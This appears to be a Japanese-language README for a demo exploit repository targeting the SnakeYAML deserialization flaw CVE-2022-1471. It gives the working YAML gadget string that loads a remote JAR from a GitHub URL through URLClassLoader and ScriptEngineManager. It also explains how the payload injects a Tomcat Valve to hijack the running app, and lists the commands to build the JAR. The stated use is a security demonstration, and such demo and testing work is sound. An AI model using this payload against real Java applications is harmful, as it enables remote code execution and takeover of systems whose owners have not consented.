yaml-payload

CVE-2022-1471 向けの SnakeYAML デシリアライゼーション悪用ペイロードです。artsploit/yaml-payload をベースに改良しました(元は mbechler/marshalsec に基づいています)。

動作内容

SnakeYAML の安全でない Yaml.load() を介して読み込まれると、このペイロードは実行中のアプリケーションを乗っ取り、"You've Been PWNED" ページに置き換えます:

1. Tomcat Valve を注入します。実行中の Spring Boot アプリにリフレクション経由で注入し、既存のポート 8080 を乗っ取ります — 同じ URL(ngrok トンネルを含む)が以後 PWNED ページを配信します
2. ブラウザを自動リダイレクトします — POST レスポンスが 302 リダイレクトを送信するため、ブラウザは手動更新なしで即座に PWNED ページを読み込みます
3. ブラウザを自動的に開きます。正しい URL(ngrok 公開 URL があればそれを、なければ localhost:8080)を開きます
4. エクスプロイトの証拠を出力します。コンソール/CI ログに出力します

Tomcat Valve の注入が利用できない場合(Spring アプリ以外など)、ポート 9999 でスタンドアロン HTTP サーバーを起動し、ngrok が実行中であれば ngrok トンネルを自動作成するフォールバックに切り替わります。

これは macOS 上のローカルと CI/CD パイプライン(例: Ubuntu 上の GitHub Actions)の両方で動作します。

エクスプロイトチェーンの仕組み

SnakeYAML ペイロードは、Java SPI(Service Provider Interface)を介して ScriptEngineManager をトリガーします:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]

1. SnakeYAML はこのリポジトリの yaml-payload.jar を指す java.net.URL をインスタンス化します
2. それを URLClassLoader でラップし、リモートクラスをロードします
3. ScriptEngineManager は META-INF/services/javax.script.ScriptEngineFactory を介して AwesomeScriptEngineFactory を検出してロードします
4. ファクトリのコンストラクタが実行中の Tomcat パイプラインに Valve を注入し、以降の / へのすべてのレスポンスを PWNED ページに置き換えます

ビルド

JDK 17+ が必要です:

javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

使用方法

maven-demo プロジェクトでエクスプロイトペイロードとして使用されます。ペイロード文字列をアプリの name フィールドに貼り付けると RCE がトリガーされます。次のリクエストでアプリのページが PWNED ページに置き換えられます。完全なデモ手順については、そのリポジトリの README を参照してください。